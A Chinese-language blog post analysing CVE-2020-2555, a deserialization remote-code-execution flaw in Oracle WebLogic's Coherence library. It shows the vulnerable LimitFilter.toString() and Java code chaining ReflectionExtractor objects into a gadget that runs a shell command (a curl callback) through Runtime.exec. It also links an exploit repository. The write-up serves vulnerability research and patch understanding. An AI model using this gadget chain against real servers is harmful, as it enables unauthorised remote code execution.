Weblogic 简直是个无底洞.
2020.03.06 早上4点,看到了清水川崎师傅推送了Weblogic CVE-2020-2555的通告,在推特上搜了一波,发现有详细的分析文章,遂有此文。
漏洞分析
个人研究,没钱买补丁,这里借用Zero Day的图。

补丁中将LimitFilter
类的toString()
方法中的extract()
方法调用全部移除,而我们需要知道在CommonsCollections5中可以利用BadAttributeValueExpException
来调用任意类的toString()
方法。
接着来看下没打补丁之前LimitFilter
类的toString()
方法。
public String toString() {
StringBuilder sb = new StringBuilder("LimitFilter: (");
sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
if (this.m_comparator instanceof ValueExtractor) {
ValueExtractor extractor = (ValueExtractor)this.m_comparator;
sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
} else if (this.m_comparator != null) {
sb.append(", comparator=").append(this.m_comparator);
}
sb.append("])");
return sb.toString();
}
toString()
中会将this.m_oAnchorTop
和this.m_oAnchorBottom
作为参数传入ValueExtractor.extract()
,补丁移除了extractor.extract()
操作,跟进extract()
看下,发现extract()
只是一个抽象方法,并没有实现,那说明extract()
在ValueExtractor
的子类中可以利用。因为是反序列化,所以我们只需要在ValueExtractor
子类中找到实现了Serializable
或者ExternalizableLite
反序列化接口并且有extract()
的方法。最终在com.tangosol.util.extractor.ReflectionExtractor#extract()
找到了反射任意方法调用。
public E extract(T oTarget) {
if (oTarget == null) {
return null;
} else {
Class clz = oTarget.getClass();
try {
Method method = this.m_methodPrev;
if (method == null || method.getDeclaringClass() != clz) {
this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);
}
return method.invoke(oTarget, this.m_aoParam);
} catch (NullPointerException var4) {
throw new RuntimeException(this.suggestExtractFailureCause(clz));
} catch (Exception var5) {
throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
}
}
}
到现在为止我们可以传入一个Runtime.getRuntime()
的oTarget
,将this.m_methodPrev
赋值为exec,然后this.m_aoParam
就是我们的命令参数,就可以RCE了。而对于反序列化而言,我们需要继续构建对象,让他自己执行Runtime.getRuntime()
,这里很像cc链中的InvokerTransformer.transform()
,那有没有像cc链中的ChainedTransformer
类呢。遂找到了com.tangosol.util.extractor.ChainedExtractor#extract()
@JsonbCreator
public ChainedExtractor(@JsonbProperty("extractors") ValueExtractor[] aExtractor) {
super(aExtractor);
this.m_nTarget = this.computeTarget();
}
public E extract(Object oTarget) {
ValueExtractor[] aExtractor = this.getExtractors();
int i = 0;
for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
oTarget = aExtractor[i].extract(oTarget);
}
return oTarget;
}
和cc5的构造很像,我们一步一步构造下
// Runtime.class.getRuntime()
ReflectionExtractor extractor1 = new ReflectionExtractor(
"getMethod",
new Object[]{"getRuntime", new Class[0]}
);
// get invoke() to execute exec()
ReflectionExtractor extractor2 = new ReflectionExtractor(
"invoke",
new Object[]{null, new Object[0]}
);
// invoke("exec","calc")
ReflectionExtractor extractor3 = new ReflectionExtractor(
"exec",
new Object[]{new String[]{"/bin/bash", "-c", "curl http://172.16.1.1/success"}}
);
首先先构造三个ReflectionExtractor
对象来调用反射拿到我们想要的,然后把他放到ReflectionExtractor
数组中,将数组通过构造函数赋值给ChainedExtractor
。
ReflectionExtractor[] extractors = {
extractor1,
extractor2,
extractor3,
};
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
那到目前为止,只要反序列化执行了chainedExtractor.extract()
就可以造成rce。而前文所说,toString()
中是执行了extract()
的,所以我们将chainedExtractor
通过反射赋值给limitFilter
对象。然后通过BadAttributeValueExpException
触发limitFilter
对象的toString()
,进而触发extract()
一步一步调用method.invoke()
,继而通过反射拿到Runtime.getRuntime().exec("")
,达成RCE。
坑
-
coherence.jar
要使用和目标版本一致的,不然会有serialVersionUID
不一致的问题。 -
BadAttributeValueExpException
对jdk的版本有要求。具体看这里
漏洞利用
https://github.com/Y4er/CVE-2020-2555

参考
- https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server
- https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR76
- https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
原创文章,作者:Y4er,未经授权禁止转载!如若转载,请联系作者:Y4er